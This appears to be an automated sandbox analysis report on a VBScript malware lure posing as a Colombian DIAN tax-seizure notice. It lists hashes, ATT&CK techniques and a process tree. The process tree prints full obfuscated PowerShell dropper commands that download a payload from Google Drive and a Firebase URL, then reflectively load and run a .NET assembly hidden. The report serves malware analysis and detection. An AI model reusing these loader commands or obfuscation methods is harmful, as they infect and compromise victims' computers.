49bcb8e836ba3123aabf9bac83ad69146333cc4d34ca440e6a4f3b6436dee08f

General

Target

DOCUMENTO_SISTEMA_REQUERIMIENTO_DIAN_PROCESO_DE_EMBARGO_REVISION_INMEDIATA_ad8098904901470147f818615.vbs
Size

68KB
MD5

722ef0f62d5f0d96f0f63888e0d8ae39
SHA1

0afc5ebc973e07bc01682922e5972dbfead09691
SHA256

b2bea3384dc24126675379eb1473946f2927a10d8eff6730bc024716ef0f6864
SHA512

9e614dbf3ea73992903a5a93884733ce4346e9108a78fba4f0ded8200cfd0fc33a929cebf2a1236163e63e6e33ac0b0daf8af8e881bb125f9cd57986db5454b2
SSDEEP

1536:bUJW4Wrle/PhG+/kery+bGNccc3gt5pzaUGwm:jS7rgt5pnGwm

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	2316	WScript.exe
4	2316	WScript.exe
8	2960	powershell.exe
10	2960	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2296	powershell.exe
2960	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	drive.google.com
7	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2296	powershell.exe
2960	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2296	powershell.exe
Token: SeDebugPrivilege	2960	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2316 wrote to memory of 2296	2316	WScript.exe	31
PID 2316 wrote to memory of 2296	2316	WScript.exe	31
PID 2316 wrote to memory of 2296	2316	WScript.exe	31
PID 2296 wrote to memory of 2960	2296	powershell.exe	33
PID 2296 wrote to memory of 2960	2296	powershell.exe	33
PID 2296 wrote to memory of 2960	2296	powershell.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DOCUMENTO_SISTEMA_REQUERIMIENTO_DIAN_PROCESO_DE_EMBARGO_REVISION_INMEDIATA_ad8098904901470147f818615.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgncnRraW1hZ2VVcmwgPSA0VjNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdScrJ2M/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVYnKydnSkonKydKdjFGNnZTNHNVJysnT3libkgtc0R2VWhCWXd1cjRWMztydGt3ZWJDbGllbnQgPSBOZXctJysnT2JqZWN0IFMnKyd5c3RlbS5OZXQuV2ViQ2xpZW50O3J0a2ltYWdlQnl0ZXMgPSBydGt3ZWJDbGllbnQuRG8nKyd3bmxvYWREYXQnKydhKHJ0a2ltYWdlVXJsKTtydGtpbWFnZVRleHQgPSBbU3lzJysndGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhydGtpbWFnZUJ5dGVzKTtydGtzdGFyJysndEZsYWcgPSA0VjM8PCcrJ0JBU0U2NF9TVEFSVD4+NFYzO3J0a2VuZEZsYWcgPSA0VjM8PEJBU0U2NF9FTkQ+PjRWMztydGtzdGFydEknKyduZGV4ID0gcnRrJysnaW1hZ2VUZXh0LkluZGV4T2YocnRrc3RhcnRGbGFnKTtydGtlbmRJbmRleCA9IHJ0a2ltYWdlVGV4dC5JbmRleE9mKHJ0a2UnKyduZEZsYWcpO3J0a3N0YScrJ3J0SW5kJysnZXggLWdlIDAgLWFuZCBydGtlbmRJbmRleCAtZ3QgcnRrc3RhcnRJbmRleDtydGtzJysndGFydEluZGV4ICs9IHJ0a3N0YXJ0RmxhJysnZy5MZW5ndGg7cnRrYmFzZTY0TGVuZ3RoID0gcnRrZW5kSW5kZXggLSBydGtzdGFydEluZGV4O3J0a2Jhc2U2NENvbW1hbmQgPSBydGtpbWFnZVRleHQuU3Vic3RyaW5nKCcrJ3J0a3N0YXJ0SW5kZXgsIHJ0a2Jhc2U2NExlbmd0aCcrJyk7cnRrYmFzJysnZTY0UmV2ZXJzZWQgPSAtam9pbiAocnRrJysnYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJCViAnKydGJysnb3JFYWNoLU9iamVjdCB7IHJ0a18gfSlbLTEuLi0ocnRrYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtydGtjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKHInKyd0a2Jhc2U2NFJldmVyc2VkKTtydGtsb2FkZScrJ2RBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5BJysnc3NlbWJseV06OkxvJysnYWQocnRrY29tbWFuZEJ5dGVzKTtydGt2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDRWM1ZBSTRWMyk7cnRrdmFpTWV0aG9kLkludm9rZShydGtudWxsLCAnKydAKDRWMzcyNWVhY2JkNTFmMScrJy0wNjliLTA2NTQtYTlhNC1hM2Y4MjFjMD1uZWtvdCZhaWRlbT10bGE/dHh0LlRJVFNFVC9vL21vYy50b3BzcHBhLmIxMGFlLW9pbS1vdGNlJysneW9ycC9iLzB2L21vYy5zaXBhZWxnb29nLmVnYXJvdHNlc2FiZXJpZi8vOnNwdHRoNFYzLCA0VjNkZXNhdGl2YWRvNFYzLCA0VicrJzNkZXNhdCcrJ2l2YWRvNFYzLCA0VjNkZXNhdGl2YWRvNFYzLCA0VjNNU0J1aWxkNFYzJysnLCA0VjNkZXNhdGl2YWQnKydvNFYzLDRWM2Rlc2F0aXZhZG80VjMsNFYnKyczZGVzYXRpdmFkJysnbzRWMyw0VicrJzNVUkw0VjMsIDRWM0M6Ym0nKydXUHJvZ3JhbURhdGFiJysnbVc0VjMsNFYzY2Fydm9lamFyNFYzLDRWM3ZiczRWMyw0JysnVjMxNFYzLDRWMzE0VjMpKTsnKS1jUmVwTEFjRSAgJ3J0aycsW0NIYXJdMzYgIC1SZVBMQUNFKFtDSGFyXTgyK1tDSGFyXTY2K1tDSGFyXTg2KSxbQ0hhcl0xMjQgLVJlUExBQ0UgKFtDSGFyXTUyK1tDSGFyXTg2K1tDSGFyXTUxKSxbQ0hhcl0zOS1jUmVwTEFjRSAgKFtDSGFyXTk4K1tDSGFyXTEwOStbQ0hhcl04NyksW0NIYXJdOTIpIHwgJiAoIChbc1RSSW5HXSR2ZXJCT1NFUFJFRmVyRW5jZSlbMSwzXSsneCctam9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('rtkimageUrl = 4V3https://drive.google.com/u'+'c?export=download&id=1AIV'+'gJJ'+'Jv1F6vS4sU'+'OybnH-sDvUhBYwur4V3;rtkwebClient = New-'+'Object S'+'ystem.Net.WebClient;rtkimageBytes = rtkwebClient.Do'+'wnloadDat'+'a(rtkimageUrl);rtkimageText = [Sys'+'tem.Text.Encoding]::UTF8.GetString(rtkimageBytes);rtkstar'+'tFlag = 4V3<<'+'BASE64_START>>4V3;rtkendFlag = 4V3<<BASE64_END>>4V3;rtkstartI'+'ndex = rtk'+'imageText.IndexOf(rtkstartFlag);rtkendIndex = rtkimageText.IndexOf(rtke'+'ndFlag);rtksta'+'rtInd'+'ex -ge 0 -and rtkendIndex -gt rtkstartIndex;rtks'+'tartIndex += rtkstartFla'+'g.Length;rtkbase64Length = rtkendIndex - rtkstartIndex;rtkbase64Command = rtkimageText.Substring('+'rtkstartIndex, rtkbase64Length'+');rtkbas'+'e64Reversed = -join (rtk'+'base64Command.ToCharArray() RBV '+'F'+'orEach-Object { rtk_ })[-1..-(rtkbase64Command.Length)];rtkcommandBytes = [System.Convert]::FromBase64String(r'+'tkbase64Reversed);rtkloade'+'dAssembly = [System.Reflection.A'+'ssembly]::Lo'+'ad(rtkcommandBytes);rtkvaiMethod = [dnlib.IO.Home].GetMethod(4V3VAI4V3);rtkvaiMethod.Invoke(rtknull, '+'@(4V3725eacbd51f1'+'-069b-0654-a9a4-a3f821c0=nekot&aidem=tla?txt.TITSET/o/moc.topsppa.b10ae-oim-otce'+'yorp/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth4V3, 4V3desativado4V3, 4V'+'3desat'+'ivado4V3, 4V3desativado4V3, 4V3MSBuild4V3'+', 4V3desativad'+'o4V3,4V3desativado4V3,4V'+'3desativad'+'o4V3,4V'+'3URL4V3, 4V3C:bm'+'WProgramDatab'+'mW4V3,4V3carvoejar4V3,4V3vbs4V3,4'+'V314V3,4V314V3));')-cRepLAcE 'rtk',[CHar]36 -RePLACE([CHar]82+[CHar]66+[CHar]86),[CHar]124 -RePLACE ([CHar]52+[CHar]86+[CHar]51),[CHar]39-cRepLAcE ([CHar]98+[CHar]109+[CHar]87),[CHar]92) | & ( ([sTRInG]$verBOSEPREFerEnce)[1,3]+'x'-joiN'')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
fd65793e164e29b975803b200ed1a123

SHA1
9caa0f4b2a0e1ef4a358c9772b0565d5d272c48c

SHA256
d101c3209a80f4a4ea3d603fc038531dd2e09bd2d76cb606b4603b3fd6b2d923

SHA512
ac6538ad20ea3b05f44a044fed110cbf10b3b835d71108738e8434fb6264ede6f2778937a8100d6f785653068ecf9ab741f20bb0a9cd4e0ecc337ab86adc0cbc

Download Submit
memory/2296-4-0x000007FEF63BE000-0x000007FEF63BF000-memory.dmp

Filesize
4KB

Download
memory/2296-5-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2296-6-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2296-8-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2296-13-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2296-14-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2296-15-0x000007FEF63BE000-0x000007FEF63BF000-memory.dmp

Filesize
4KB

Download
memory/2296-19-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2960-18-0x000000001ACF0000-0x000000001AE4A000-memory.dmp

Filesize
1.4MB

Download

Resubmissions

Analysis

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